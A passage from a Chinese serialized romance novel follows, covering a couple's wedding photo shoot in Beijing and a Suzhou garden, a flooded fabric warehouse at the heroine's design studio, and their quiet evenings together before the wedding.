蔺之序心底划过这个念头时,手臂收得更紧,几乎要将她揉进自己骨血里。 他发现自己越来越沉溺其间无法自拔,他从来都没有对什么这么痴迷过,这已经超过他一惯自认强大的定力。 不知过了多久,叶瓷感觉肺里的空气快要被抽干,大脑也因缺氧而有些晕眩。 她想微微调整一下姿势,身体刚一动,便因为长时间的紧绷和缺氧,重心不稳地向旁边一歪,整个人几乎是半伏在了蔺之序的身上。 隔着薄薄的衣物,她感受到他胸膛传来的沉稳有力的心跳,以及因呼吸而微微起伏的肌理线条。 这份突如其来的贴近,比刚才那个吻本身更让她心慌意乱。 蔺之序似乎也因为这意外的紧密相贴而微微一滞。 他环在她腰间的手臂没有松开,反而更稳地托住了她。 他的呼吸也有些急促,灼热的气息喷洒在她敏感的耳廓。 窗外雨声依旧。 终于,叶瓷稳稳心神,轻轻推了推蔺之序,“我该下车了……” 蔺之序深吸一口气,平复体内奔涌的暗流。 他看了她一眼,那眼神幽深如潭,里面翻涌的情绪尚未完全平息。 片刻,他喉结滚动了一下,终于松开环抱的手臂,“好。” 蔺之序率先打开了自己这一侧的车门。 和叔立刻会意,撑着伞快步上前,将宽大的伞面稳稳罩在车门上方。 蔺之序下车,没有立刻离开,而是站在伞下,等着叶瓷。 叶瓷伸手借力,稳稳地搭在他手臂上,微凉的带着湿润泥土气息的空气涌入,她脸上的热度稍稍缓解。 细密雨丝敲打在伞面上,发出更清晰的“噼啪”声。 她站直身体,隔着朦胧雨幕,与站在另一把伞下的蔺之序目光短暂相接。 他的眼神已经恢复了惯有的沉稳,只是那眸底似乎还残留着一丝未散的灼热余烬,提醒着方才在车厢内的失控沉溺。 两人各自撑着伞,一前一后,踏着被雨水打湿的光洁石阶,向门厅走去。 身后,雨幕如织。 将那短暂而炽热的隐秘,温柔地笼罩在了夜色之中—— 作者有话说:晚上照更[红心]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 第41章 婚纱照 翌日。 晨曦初露, 薄雾笼罩着颐和园。 此刻,这座皇家园林尚未对公众开放。 万籁俱寂,只有偶尔几声清脆的鸟鸣划破长空, 更显天地辽阔。 几辆低调的黑色商务车无声地停在指定入口。 车门打开, 早已就位的顶尖妆造团队鱼贯而出, 动作迅捷专业。 他们携带着特制的防尘箱,里面是昨夜刚从沪城空运抵京的婚纱礼服。 没有喧哗, 只有行李箱滚轮在路上发出的轻微“辘辘”声,以及工作人员压低嗓音的确认指令声。 叶瓷已在一个温暖私密的移动化妆间内完成了妆造。 她身着主婚纱, 婚纱的设计极致简约, 采用顶级象牙白真丝缎,剪裁贴合她清落高挑的身形。 巨大的曳地裙摆自然铺展, 唯一的装饰是精巧的肩部设计, 几缕近乎透明的薄纱线条缠绕, 露出她纤长优美的脖颈。 妆造上,为了衬托她清冷的眼眸与天生的优越骨相, 造型师为她梳了低挽发髻,妆容极淡,仅以一抹裸色豆沙粉唇彩点缀。 蔺之序站在一旁等待。 他穿着一身剪裁完美的深墨蓝色天鹅绒晨礼服, 同色系的马甲,内搭挺括的白色衬衫, 领口系着温莎结。 摄影师齐默, 业内以捕捉光影和情绪著称的大师,此刻正带着助手迅速勘察最佳机位。 他低声与灯光师交流着,手指快速比划着光线的角度:“佛香阁的轮廓光要打在蔺先生侧后方,勾勒轮廓即可。” “叶小姐这边,柔光箱再补一点, 重点突出她纱裙的质感和面部的清冷感……对,就是现在这个光线,稍纵即逝!” 拍摄开始了。 在佛香阁巍峨的背景下,在层林尽染的秋色中,蔺之序与叶瓷并肩而立,或相对而视,或一前一后缓步行走在铺满金黄银杏叶的长廊下。 没有刻意夸张的摆拍姿势,摄影师齐默追求的是一种浑然天成的意境与人物之间流动的情感。 他敏锐地捕捉着那些细微的瞬间: 蔺之序微微侧首,垂眸凝视叶瓷时,眼中深潭般的专注。 叶瓷提着巨大的裙摆,拂过落叶时,她微微蹙眉又瞬间舒展的细微表情。 一阵秋风掠过湖面,卷起几片红叶,擦着叶瓷飞舞的裙裾而过,蔺之序下意识抬手为她挡风的动作。 两人在长廊尽头凭栏远眺,晨光勾勒出他们沉默和谐的剪影,远处湖光山色尽收眼底,天地浩渺,唯此二人。 拍过主婚纱,两人又换了一套融入中式元素的轻礼服。 叶瓷的是一件改良旗袍式样的裙装,面料是顶级香云纱,颜色是淡雅的“雨过天青”色,只在领口和袖口点缀着苏绣缠枝纹。 蔺之序则是一身同色系的立领中式礼服,材质是挺括的丝麻混纺,没有任何绣花,仅靠流畅的版型和精良的质感取胜。 他们在西堤的拱桥边,在谐趣园的曲径回廊间留下身影,古典的东方意蕴与人物本身的现代气质奇妙地融合。 整个上午,工作人员各司其职,拍摄过程十分高效。 午后两点,一架流线型的湾流私人飞机平稳地降落在江南某市的专属停机坪上。 舱门打开,与北方的干爽秋意不同,这里空气极湿润。 二十分钟后,车队驶入一条绿荫如盖的小路,最终停在一座粉墙黛瓦的园林前。 门楣上悬着一方朴拙的乌木匾额,上面写着“苏园”二字,字迹清癯有力。 这里是温书言的祖宅,与颐和园的皇家气象不同,苏园极致婉约。 亭台楼阁,曲径回廊,假山池沼,无不精巧雅致,移步换景。 下午的拍摄风格也随之转变。 叶瓷换上了轻盈的珍珠白缎面礼服。 蔺之序是一身深灰色法兰绒西服,内搭浅灰羊绒衫,往日的迫人气场被略略中和,整个人更显温润儒雅。 拍摄在园林深处进行。 摄影师捕捉着两人在九曲回廊中相携漫步,阳光透过雕花漏窗,在他们身上投下斑驳的光影图案。 还有叶瓷独自倚靠在水榭的朱栏边,凝望着池中游鱼,而蔺之序站在不远处回廊的阴影里,静静地看着她,目光深邃。 最后在黄昏降临前迷人的“蓝调时刻”,两人坐在临水的月洞门旁的石凳上。 暖金色的夕照勾勒着他们的侧影,水面上倒映着点点灯光,如同散落的星辰。 摄影师屏住呼吸,连续按下快门,捕捉这惊艳的瞬间。 转场间隙,摄影团队在园中一处安静的抱厦内稍作休息,整理设备。 蔺之序走到不远处临水的假山旁接电话。 夕阳余晖拖着他挺拔的身影,漾在水中。 叶瓷坐在抱厦内的美人靠上,手中捧着一杯工作人员刚递来的桂花茶。 低头喝两口,她下意识地望向不远处的那道背影。 深灰色法兰绒西服在暮色中呈现出一种内敛的质感,将他整个人的轮廓都衬得格外沉静。 此时,他微微侧首,一手闲适地插在西裤口袋,另一手握手机专注听着,偶尔低声回应几句,嗓音磁沉而模糊。 她听不清内容,可他独特的气场却无声漫开,连周围的空气都仿佛变得静凝。 叶瓷心念微动,接着,她拿起自己放在一旁的手机。 没有刻意寻找角度,只是凭着直觉,对着那个浸染在暮色与水光中的背影,轻轻按下了快门。 手机屏幕定格。 画面有些许的模糊和颗粒感,反而更添一份氛围。 深灰色的挺拔身影,背景是古老的粉墙,假山石,波光粼粼的池水,以及水边几丛摇曳的残荷。 只是一个背影,却传递出令人安心的力量感。 叶瓷低头欣赏了几眼,然后将这张照片设置成了手机壁纸。 对面,蔺之序刚好结束通话,转过身来。 “处理好了?”叶瓷放下茶杯,问道。 “嗯。”蔺之序在她身旁站定,“刚才,妈来电话,说婚期已经定了,下个月十八号,她让我们抽时间,安排双方家长再正式见个面。” 叶瓷抬眸,对上他的视线,眉眼略弯,“嗯,回家后,我和哥哥说一下。” 等待摄影团队收工时,叶瓷起身来到回廊,两边木栏漆面早已褪去光泽,露出木纹原本的肌理,触感粗粝。 蔺之序偏头问她:“多久没回来过了?” 叶瓷收回手,想了想,“十二年。外公生病后,就搬去了海城,这里就再没人长住了。” 蔺之序没有接话,只是安静地站在她旁边。 远处传来竹筒接水的“咚”声,是古老的计时装置在运作。 站了会儿,“我们到那边看看。”叶瓷抬步往东侧小径走,裙摆扫过石阶上零落的桂花,蔺之序默契跟上。 小径尽头是一方浅潭,潭边立着半人高的太湖石。 “小时候掉进去过。” 叶瓷开口,声音里带着笑意。 她的声线清冷,融了笑后,就像冰裂初阳,清冽里蓦地淌出暖意来。 蔺之序垂眸看她。 暮光透过枫树枝桠,在她侧脸投下细碎的光点。 他看见她睫毛在眼下投出的阴影,微微颤动,像停驻的蝶。 蔺之序问:“后来呢?” 叶瓷笑,“后来嘛,外公罚我抄了三遍《兰亭序》。” 蔺之序也笑。 提到外公,叶瓷有一种又回到了小时候的感觉。 她跟蔺之序讲这里的每处景,还有发生的有意思的事情,就像那天在巴黎街头,她讲自己的外婆一样,叶瓷一下和他聊了许多。 蔺之序始终跟着她,只在关键时候应一声。 叶瓷很享受和他聊天的过程,从上次在巴黎,她就发现蔺之序是个很优秀的听众。 他的沉默不是空白,而是像一张细密的网,总能稳妥地接住她所有的回忆。 两人逛到后园竹亭里,叶瓷指着亭柱上几道深浅不一的划痕,“这是我从五岁到十四岁的身高记录。” 说完,她发现,最上面那一道只到蔺之序胸口的位置。 叶瓷指着那条刻痕,告诉他,“这是我最后一次量,一米六七。” 她说完,一直安静的蔺之序忽然抬手,掌心覆上她的手背,“你又长高了五厘米。” 叶瓷笑着歪头看他,“你知道我的身高?” 蔺之序笑了下,手指轻轻抚她指节,“当然,这些都是最基本的。” 听他这样说,叶瓷眼底漾开一丝好奇:“那,你对我还有哪些了解?” 蔺之序指尖若有似无地继续抚着她的指节。 订婚之前,汤静娴为了让他尽快熟悉叶瓷,给他弄来了一份关于她的资料。 蔺之序有着过目不忘的记忆力,只一遍,那些条目数字便清晰地印在了脑子里。 她的生日,她的手机号,还有她毕业于中央圣马丁,二十四岁成立霓坊工作室,弹得一手好钢琴,喜欢咖啡不加糖…… 那些文字快速拼凑出一个符合他期待的“蔺太太”形象,可不知从何时起,他心里又生出一种抗拒。 他不想要一份被旁人总结,毫无温度的档案。他想要的是褪去所有标签和预设后,那个真实的叶瓷。 蔺之序想了想,“我注意到,你画完图之后,总会把笔放在纸边,而不是任何笔筒里。” 叶瓷轻轻“呀”了一声,随即笑起来,“这都被你发现了……” 她想起叶北庭这些年给她买的各式笔筒,从精巧的陶瓷到智能的收纳,最后都逃不过被闲置的命运。 蔺之序看她,声音放得很缓,“叶瓷,给我一点时间,让我慢慢了解你。” 竹叶沙响。 叶瓷笑着点点头,“嗯。不过,你也要给我时间,我们要相互了解。” 蔺之序笑,“好。” 夜幕深沉。 回程的机舱内,灯光调得很暗,营造出适合休息的氛围。 叶瓷靠在宽大舒适的真皮座椅里,她给温翎发消息:【妈,婚期已定,11月18日。】 没过多久,屏幕亮起。 温翎:【好的,妈妈收到】 叶瓷看着屏幕,数秒,她按熄了屏幕,将手机放在一旁的小桌板上。 舷窗外是漆黑的天幕和下方遥远城市璀璨的灯火。 婚纱照拍完了,婚期定了,家长要见面了,人生的轨迹正沿着既定的方向向前滑行。 一种难以言喻的兴奋,混合着对未来的期待,在这万米高空的寂静中,在她心头悄然盛放。 第42章 第42章 什么时候搬到婚房? 手机在床头柜上第三次震动时, 叶瓷终于从沉梦里挣出。 她翻了个身,摸索着接起。 “叶总!仓库……仓库B区和C区漏水了!” 小于的声音像一根针,瞬间刺穿了她残留的睡意。 “云纹绸和古董蕾丝, 还有意大利来的胚布……全泡在水里了!” 叶瓷猛地坐起, 真丝睡裙的吊带滑落手臂。 窗外, 厚重铅色透着清冷的灰白色。 看了眼时间,六点十五分。 “我马上到。” 她的声音比想象中冷静, 但指尖已经不受控制地掐进了掌心。 那批古董蕾丝是从法国拍卖行购得的绝版藏品,有钱也买不到第二匹。 衣帽间的感应灯随着她急促的脚步亮起, 光线柔和地照亮一排排质感卓然的衣物。 叶瓷无暇挑选, 迅速抽出一件烟灰色羊绒高领衫,驼色大衣和一条休闲长裤。 简单洗漱, 长发被她三两下挽起, 几缕碎发因为沾了水汽, 正垂在光洁的颈侧,她无心整理, 胡乱抽出一管口红,色号也没来得及看就涂了,然后开始下楼。 “小姐, 你的咖啡——” 厨房里,秦姨端着刚煮好的手冲咖啡迎上来。 “来不及了, 工作室有急事。” 叶瓷说着, 人已经抓过玄关处的车钥匙,转瞬,只留下一阵清冽的橙花尾调和匆忙的背影。 秦姨那句“小姐下雨了,当心路滑”被关在了门后。 使馆区的街道在深秋的冷雨中显得分外肃穆。 雨水在挡风玻璃上汇成细流,雨刮器规律地左右摆动。 车载香薰系统释放着令人心静的雪松气息, 却压不住叶瓷心头的焦灼。 她戴上蓝牙耳机,对方接通后,她也没有开场客套,“林总,我需要紧急调用去年那批意大利原厂云纹绸的库存……对,所有色号,和去年春季那批同产地同工艺的。” “另外,帮我查一下苏黎世纺织博物馆是否有类似年份和工艺的蕾丝复刻品。” “任何线索,立刻通知我。” 转过最后一个弯道时,叶瓷看见了站在工作室门口的仓库管理员老张。 对方佝偻着背,手里攥着顶湿透的鸭舌帽,雨水正顺着他的鬓角滑落到皱巴巴的工装服上。 “叶总,我……” 老张的声音比外面的雨声还要颤抖。 叶瓷目光扫过他湿透的工装裤和沾满泥水的胶鞋,她伸手轻轻按住老人颤抖的肩膀:“张师傅,别急,先带我去看看情况。” 老张的眼里已经蓄着泪水:“叶总,我知道那些面料的价值不可估算,我——” “天灾人祸,谁都不想的。” 叶瓷从包里取出纸巾递给他,“您在这工作这么久,从没出过差错。现在不是自责的时候,我们一起想办法。” 听她这样说,老张迅速抹了把脸,快步跟上。 推开仓库门,空气里混杂着霉味和湿气。 B区货架下方,积水在防尘布上延开深色的水痕。 叶瓷蹲下身,裤脚浸入冰冷的积水边缘,她小心翼翼地挑起一片浸泡在水中的古董蕾丝。 曾经精美绝伦的镂空花纹,此刻像失水的花瓣,蔫软扭曲,光泽尽失。 她缓缓深吸一口气,随即放下。 环顾四周受损的货架时,她能感觉到喉咙发紧,一种前所未有的酸涩正冲上鼻腔。 从霓坊工作室成立至今,遇到的难题不少,被客户刁难,被供应商欺骗……但从没有哪一次,像此刻这样让她感到窒息。 她想起自己第一次带着作品去国际上参赛,那时的紧张充满希望。 而此刻,紧张之余只剩冰冷。 “叶总。” 叶瓷回头,就听见小于说,“你的裤脚都湿了,这里先交给我们,你回去换下吧。” 叶瓷低头看了眼,“没事。” “上周发现几处渗水点,”老张的声音在叶瓷身后低低响起,“物业紧急修补过,可这雨断断续续下了两周,昨晚突然大了,是我没盯紧……” 叶瓷站起身,水珠顺着裤线滑落,在地面砸出一个个圆点,“小于,保险公司报案流程走完了吗?” 小于:“报案了,但定损理赔需要时间,最快也要一周以上。” 小于递上平板,屏幕上详细列着损失清单,触目惊心的数字和面料名称让空气都沉重了几分。 接下来的十个小时,叶瓷带领团队在潮湿的仓库里,像抢救濒危文物一样,将尚有挽救可能的面料分拣,隔离,紧急处理。 接着,她又连续开了几个跨时区视频会议,与意大利,瑞士,日本的供应商进行沟通。 “叶总,还有几个VIP客户没通知,”小于看着叶瓷疲惫的模样,“还是让杜总去联系吧,您休息会儿。” 叶瓷没应,半天,“小于,给我一杯咖啡。” 小于忙应着,“马上就来。” 喝咖啡的功夫,叶瓷致电了那几个VIP客户,解释不可抗力导致的延误。 当最后一封确认邮件发出,使馆区的路灯已在夜色中亮起。 雨终于停了。 深秋特有的清冽寒气从窗口涌进来。 叶瓷靠在办公室的单人沙发上,那是以人体工学精确设计的弧度,此刻却支撑不住全身的酸软。 一天的紧绷,决策,损耗评估还有不断的沟通,让她筋疲力竭。 然而,对于她来说,筋骨的疲惫并没有什么,反倒是精神上的压力,沉甸甸地压在心头,让她喘不过气来。 她闭着眼,用力按压着突突跳动的太阳穴。 就在这时,门外“咔哒”声响起。 来人没有敲门,只有一种理所当然的熟稔。 门缝里泻入走廊的光线,叶瓷望过去,是蔺之序。 他站在门口,像一株沉稳的冷杉。 叶瓷看着他,下一秒,绷到极致的心弦,仿佛被一只无形的手轻轻拨动了一下。 压下的酸楚和委屈毫无预兆地漫了上来,立时淹没了她所有强装的镇定。 身体比意识更快地做出了反应。 叶瓷站起来,直直地朝着门口奔去。 几步,她就到了蔺之序面前,伸手环住,脸埋进他胸口。 熟悉的沉木香令人心安。 蔺之序的身体在她扑入怀中的那一刻,稳稳地将她接住。 良久,他磁沉的嗓音从头顶传来,“叶瓷,怎么了?发生什么事了?” 叶瓷声音喃喃,“仓库出了点状况,刚处理完。” 蔺之序嗯了声,没有追问细节,一只手环着她的腰,另一只手则在她微微颤抖的脊背上轻轻抚着。 两人都没再说话,就这样安静的抱着,渐渐地,叶瓷感觉自己绷紧的神经正一寸寸松弛下来。 又过了会儿,叶瓷离开他的怀抱。 蔺之序垂眸看她,确认她的状况还可以,于是抬手拿起他刚带来的红茶,“喝点暖的。” 叶瓷这才注意到,他来时手里是带着东西的,刚才抱她时,他将红茶随手放在一旁,腾出手来接纳她。 这个场景,和上次在巴黎一样,那天她主动过去抱他,他也是将郁金香放下。 叶瓷啜饮两口,抬眼问他,“你怎么来工作室了?” 蔺之序:“中午给你打电话,没人接,后来又发信息,也没有回复,所以下班后就过来看看。” 叶瓷听他这样说,想起手机一直在包里,一天了,都没拿出来过。 她起身准备去玄关柜上拿包,蔺之序按下她肩膀,“我去拿。” 托特包挂在衣架上,是他见过她背的次数最多的一款。 叶瓷告诉他,“手机在内袋夹层里。” 蔺之序闻言,从里面拿出了手机,手指无意间碰到解锁健,屏幕瞬时亮起。 然后,他看到了她的手机屏保。 有些眼熟的背景,粉墙,假山石和波光粼粼的池水,他认出是在苏园拍的。 画面里的主角只有一个背影,深灰色西装,是他自己。 他回想,大概是他昨天接电话时,叶瓷抓拍的,只是,她竟然设置成手机屏保,这让他有些意外。 叶瓷已经接过手机,然后当着他的面解锁,两人坐的近,她笑着将屏幕转向他,“这是你。” 蔺之序也笑,“我很荣幸。” 这是发自内心的话,荣幸到觉得很幸福。 叶瓷凑近他脸庞,笑声小小的,“因为我很喜欢这一张照片,想每天都看到他。” 蔺之序垂眸,她的脸融在落地灯的光晕里,眼底有倦色,眼神却仍旧清亮,他抬手抚了抚她的脸庞,“我会努力让你更喜欢。” 叶瓷笑,“好啊。” 说笑两句,她觉得轻松多了。 蔺之序问,“饿不饿?” 看她的样子,应该一天也没怎么吃东西。 叶瓷点点头,“有点。” 蔺之序笑,“想吃什么?” 叶瓷想了想,“我们还是出去吃吧,我想走一走,透透气。” 蔺之序看她,“会不会太累?” 叶瓷笑,“饭馆离这里不远,刚好雨停了,外面空气也好。” 蔺之序眼眸里掠过了然的光,“好,我陪你出去走走。” 说着,他站起身,顺手拿起她搭在椅背上的驼色大衣。 叶瓷跟着起身。 大厅外,雨后深秋的夜空被洗刷得清透,几颗寒星点在墨蓝天幕。 蔺之序拉住她的手,十指紧扣。 使馆区的梧桐树影在路灯下摇曳。 两人正走着,远处一辆黑色迈巴赫缓缓驶近,车灯刺破暮色,最终停在两人面前。 后座车窗缓缓降下,是叶北庭。 叶瓷:“哥哥?” 叶北庭目光在妹妹和蔺之序交握的手上短暂停留,然后问她,“仓库那边处理得怎么样了?” 早起下楼用餐时,秦姨告诉他,小姐一大早慌慌张张地去了工作室,也不知道发生什么事了。 叶北庭当即给她打电话,没人接。 然后又打到她工作室前台,得知是仓库漏水了。 他自己最近在忙物流园项目,行程排得很满,下午还要去工厂考察,于是就安排司机先去打听情况。 司机回来后汇报:“小姐正在处理,说暂时还不需要帮忙。” 他听了,心里微微一定。 他是知道妹妹的能力的,一时半会儿也能撑得住。 直到傍晚天色渐沉,他推掉了两个饭局,手头的工作再紧要也比不过亲眼确认一下,于是,从公司出来,他径直驱车来找叶瓷。 这时,又看到蔺之序也在,他悬了半天的心终于稳了。 叶瓷走到车旁,眼睛微弯,“已经处理得差不多了,哥哥打个电话就好,不用再专门跑一趟。” 叶北庭笑:“亲眼看到你没事,我才放心。” 叶瓷:“哥哥还没吃饭吧?我和蔺之序正要去呢,我们一起吧?” 叶北庭视线隔空看向她身后的蔺之序,两人微微颔首,算是打过招呼。 “我就不去了。”他笑道,“待会儿又显得我碍眼。” 叶瓷被打趣,也不再邀请,笑着说,“那好吧。” 叶北庭言归正传,“你们去吧,我这边还有些事,先走了。” 叶瓷冲他摆摆手,“哥哥再见。” 很快,暗红色的尾灯消失在拐角。 叶瓷站在原地,感觉蔺之序的手指安抚性地摩挲过她的手背。 “冷吗?”他问。 叶瓷轻轻摇头,刚想说“还好”,身体就被他顺势一带,拥进臂弯里。 步行十来分钟,叶瓷指向西侧的一条小巷,蔺之序认出了那个拱门,“老陈记?” 叶瓷笑,“对。” 两人之前来过一次。 蔺之序记得很清楚,那天在这个五十平米的小餐馆里,叶瓷第一次向外人介绍他,她称呼他“老公”。 餐馆内暖黄的灯光下,几桌食客低声交谈,瓷碗相碰的清脆声响此起彼伏。 老板娘一见他们进门,立刻热情招呼:“叶总监来啦!” 叶瓷笑着点头,习惯性地走向上次的座位。 窗户半开,窗台上仍旧放着两盆薄荷盆栽。 蔺之序替叶瓷拉开椅子,椅子腿在磨得光滑的水磨石地面上发出轻微的摩擦声。 叶瓷脱下风衣,露出里面烟灰色的羊绒衫,蔺之序接过她的外套,连同自己的一起放在旁边的空椅上。 “还是老样子?酸汤水饺和虾仔拌面?”老板娘一边用抹布擦着本就干净的桌面,一边笑着问叶瓷,眼角眉梢都是熟稔。 叶瓷笑,“嗯,不过今天再加两个菜。”说着,她拿过菜单,“栗子烧鸡,醋溜白菜丝儿,麻烦您了。” “好的!等着啊,马上就好!” 等餐的功夫,蔺之序拿起一次性筷子,学着上次叶瓷的动作,两根筷子互相摩擦,上面的倒刺很快被磨平。 他递给叶瓷,然后又从筷笼里拿出另一双。 叶瓷看他动作熟练,笑了下,“有进步。” 蔺之序也笑,“谢谢。” 这时,服务生端来热腾腾的大麦茶,蔺之序接过粗陶茶壶,给叶瓷和自己各倒了一杯,动作从容不迫,带着一种在嘈杂环境中也能保持的沉静气度。 叶瓷捧着暖了会儿手,然后开始小口喝茶。 对面电视里一团热闹,厨房方向传来食材下锅的“滋啦”爆响。 蔺之序看她,“面料的事,后续还有什么棘手的?” 叶瓷放下杯子,“意大利的云纹绸已经确认了库存,颜色批次需要统一筛选。最关键的是运输时限。” 她微微蹙眉,指尖在桌面上无意识地轻点,她在计算时间表。 “原定的商业航班舱位紧张,最快也要排到五天后,但这批料子赶着进染厂,下周三之前必须到位,否则会影响后续三个系列的交期。” 蔺之序安静听着,没有打断,直到她说完,他拿出手机,手指在屏幕上快速点按了几下。 片刻,他将手机屏幕转向叶瓷。 上面是一封刚发送出去的邮件确认函,收件方是某国际货运航空公司的核心管理层人员。 内容言简意赅,“确认明日上午十时整,专属货机舱位,温控及特殊押运保障已就绪。” “明早十点,专机舱位。” 蔺之序的声音平稳无波,“时间和保障都安排好了,你看这样可以吗?” 叶瓷的目光在那封邮件上停留了几秒,心头悬着的石头终于落了地。 她抬起眼,对上他的目光,唇角不由自主地向上弯起,“可以了,正好。” 这时,服务生端着一个大托盘过来,金黄油亮的栗子烧鸡,还有一碟碧绿爽脆的醋溜白菜丝。 饥饿感瞬间被勾起。 叶瓷拿起筷子,夹了一块吸饱汤汁,软糯香甜的栗子送入口中,温热的甜香瞬间抚慰了空乏的胃。 她又挑起一箸面条,吹了吹热气,小口吸溜着,鲜美的汤头顺着喉咙滑下,整个人都暖和舒展起来。 蔺之序看着她专注进食的样子,笑了笑。 他拿起自己的筷子,夹起一块栗子,慢条斯理地吃着。 从餐馆出来已经八点多了。 两人手拉手散步回到工作室。 叶瓷:“你接下来要忙吗?” 蔺之序看她,“不忙。” 叶瓷笑,“回到休息室后,我想让你陪我看部电影。” 这个念头是突然萌发的,平日里除了工作,她属于自己的私人时间很少,她最大的爱好就是画设计图,这还是和工作相关的。 如果还有其他娱乐项目的话,那就是窝在沙发里追剧看电影了。 蔺之序也笑,“好。” 来到顶层休息室,蔺之序开始操作连接墙幕上的笔记本电脑。 “要不要喝一杯咖啡?”叶瓷弯腰问他。 蔺之序对着屏幕,偏头看她一眼,“好。” 叶瓷轻轻点头,起身去厨房,沏了两杯咖啡。 回来,她将蓝釉骨瓷杯放在他手边,这时,蔺之序已经连接好了投影,问她,“想看什么电影?” 叶瓷:“《诺丁山》” 她特别喜欢这部片子,隔上些日子就会翻出来重温一下。 蔺之序点点头,依言打开视频播放软件。 熟悉的画面和旋律。 叶瓷拿着杯子靠坐在沙发里,这时蔺之序也起身过来和她坐在一起。 叶瓷告诉他,“上大学的时候,有一年电影节小范围重映《诺丁山》,我逃了下午的课,一个人跑去电影院看。” 蔺之序笑了下。 叶瓷也笑,又说,“我那时候觉得,能在一个陌生的城市开一家小小的旅行书店,就像威廉那样,是件很浪漫的事。” 蔺之序听着她轻松的语气,手覆在她手背上,他越来越发现,叶瓷是一个自我调节能力很强的人,她不会让自己长久地困在负面情绪里。 就像今天,在那样高压的状态下,她都可以很快调整过来。 叶瓷抿一口咖啡,“你以前看过这部电影吗?” 蔺之序:“知道这部片子,但没完整看过。” 叶瓷突然好奇,“那你喜欢什么类型的片子?” 蔺之序想了想,然后实事求是,“我没怎么进过电影院,电影的话,看得很少。” 具体看过什么片子,时间太久了,他没印象。 上学时忙学业,毕业回国打理家族事务,他人生的每个阶段都是被提前规划好了的,日复一日,按部就班,像一台精密运转的机器。 叶瓷哦了声,笑道,“以后,你可以经常陪我看。” 蔺之序笑,“好。” 电影正播放到著名长镜头片段,威廉穿越波特贝罗市场,四季更迭,背景音乐《She》响起。 蔺之序拿起咖啡喝几口。 电影结束后,他起身去厨房将咖啡杯洗了,回到沙发旁,他拉住她的手,“婚期还剩九天,婚后,你想住在哪里?” 叶瓷认真地思考了几秒。 蔺家老宅底蕴深厚,环境清幽,但对她而言,每日通勤的时间成本实在太高。 “老宅很好,但离工作室太远了。” 她侧过头看他,“还是金融区的那套平层吧,我们两人上班都方便。” “好。”蔺之序应道,随即,“什么时候搬过去?我让人提前准备准备。” 叶瓷被他握在掌心里的手蜷了蜷,“等婚礼过后吧,这几天,我先回家看看需要带什么。” 她想到那套顶级配置的婚房,设备齐全,日常用品也都有。 她的生活一向简约,重要的不过是那些设计稿,画图用具和几件有纪念意义的小物。 蔺之序点点头:“需要添置什么,或者有什么想法,想好了随时发给我,我来准备。” 叶瓷嗯了声。 他的认真让她心头微暖,也让她更真实地感受到“婚姻”二字的分量。 她想了想,目前确实没有特别需要添加的大件物品。 她微微歪头,带着点轻松:“嗯……暂时好像也没什么要准备的。” “好,”蔺之序从善如流,目光依旧锁着她,带着一丝极淡的纵容,“那就等你想好了,随时告诉我。” 叶瓷:“嗯。” 室内再次陷入温馨的静谧。 就在这时,蔺之序放在沙发扶手上的手机屏幕突然亮起。 他拿起,电话是梁屿培打来的,他对叶瓷简短解释了一句,站起身,拿着手机走向露台。 高大身影映在玻璃窗上,与外面浩瀚的灯火星河重叠,显得既孤拔又融入其中。 “嗯,知道了,现在过去。”他语调平稳,通话很快结束。 蔺之序转身走回沙发边,“司恒组的局,推了几次,这次实在不好推脱。” “嗯,去吧。”叶瓷理解地点点头。 蔺之序抬手抚抚她头发,“早点休息,有事给我打电话。” 叶瓷笑,“嗯。” 第43章 第43章 娇娇软软 盛域集团。 蔺之序坐在主位, 会议已进行到季度业务复盘环节。 亚太区总裁正用激光笔点着投影上的数据曲线,声音在会议室里回荡。 蔺之序看着屏幕,手指无意识地轻点着面前摊开的纸质报告。 在亚太区总裁话音落下的间隙, 他没有立刻回应, 沉默让会议室的空气仿佛暂凝了几秒。 “交付周期敏感度提升, ”蔺之序终于开口,声音不高, “是需求预测模型偏差,还是生产环节的瓶颈固化?” 他抬眼, 目光精准地投向供应链负责人。 供应链总监立刻坐直身体, 待对方汇报结束,蔺之序拿笔在“海外供应商”条目下划了一道极浅的线。 “弹性不足, 本质是议价权和协同深度不够。” 他语气平淡, 却一针见血。 “是, 蔺总,方案今天下班前提交初步框架。” 两位负责人立刻应声, 快速记录。 会议节奏紧凑。 话题转向季度财务分析,各部门主管开始汇报。 蔺之序的目光落在面前的平板电脑数据流上,就在这时, 私人手机在桌面下极轻地振动了一下。 他不动声色地垂眸瞥了一眼。 屏幕亮起。 叶瓷:【面料已安全抵达,品相完美, 谢谢】后面跟了一个小小的太阳表情。 蔺之序的视线在那枚小太阳上停留了会儿, 手指在屏幕边缘极轻地敲了下,随即抬眼,目光重新落回正在发言的财务总监脸上,示意对方继续。 会议节奏没有丝毫被打断的痕迹。 汇报持续了约二十分钟,中场休息, 潘岩和几个工作人员在座位间迅速穿梭,为众人更换热咖啡和矿泉水。 蔺之序拿起手机,解锁。 蔺之序:【晚上一起吃饭?】 回复几乎是立刻弹出,【今天要赶工,我们定了外卖,你来的话,我再多加一份。】 蔺之序:【好。】 聊天结束。 蔺之序将手机屏幕朝下扣在桌面上,偏头对身侧的潘岩低声交代,“下午四点后所有行程清空或延后。” 潘岩心领神会,立即在随身平板电脑上操作起来。 会议下半场围绕新季度战略重点展开。 蔺之序主导着讨论方向,思维清晰,决策果断。 当最后一个议题尘埃落定,他环视全场:“今天讨论的决议项,相关责任人24小时内提交细化执行方案,散会。” 话音落下,会议室内的紧绷感才稍稍散去,众人起身收拾文件。 下午五点,霓坊工作室灯火通明。 叶瓷正和版师低声讨论着腰线的弧度和褶皱的堆叠效果。 门被轻轻叩响,小于探头进来,脸上带着一丝笑意:“叶总监,蔺总来了,在您休息室。” 叶瓷嗯了声,然后转脸对版师说:“先按这个调整。” 推开休息室的门,她看到蔺之序正站在嵌入式冰箱前。 冰箱门敞开着,内部明亮的LED冷光勾勒出他俊挺的背影轮廓。 他已脱下西装外套,仅穿着合身的白衬衣和西裤。 听到动静,他转身,手里还拿着纸袋,上面印着“芝乐坊”的Logo。 “忙过了?”他问。 既然她来了,他也就不再往冰箱里放了,遂回手合门。 叶瓷摇摇头,“没有,刚告一段落。” 蔺之序把纸袋放在小吧台上,“路过‘芝乐坊’,正好有刚出炉的栗子挞和原味可颂。” 叶瓷打开袋子,拿出一个栗子挞,咬一口,“嗯,味道不错。” 蔺之序笑笑,问她,“想喝点什么?” 叶瓷:“红茶吧。” 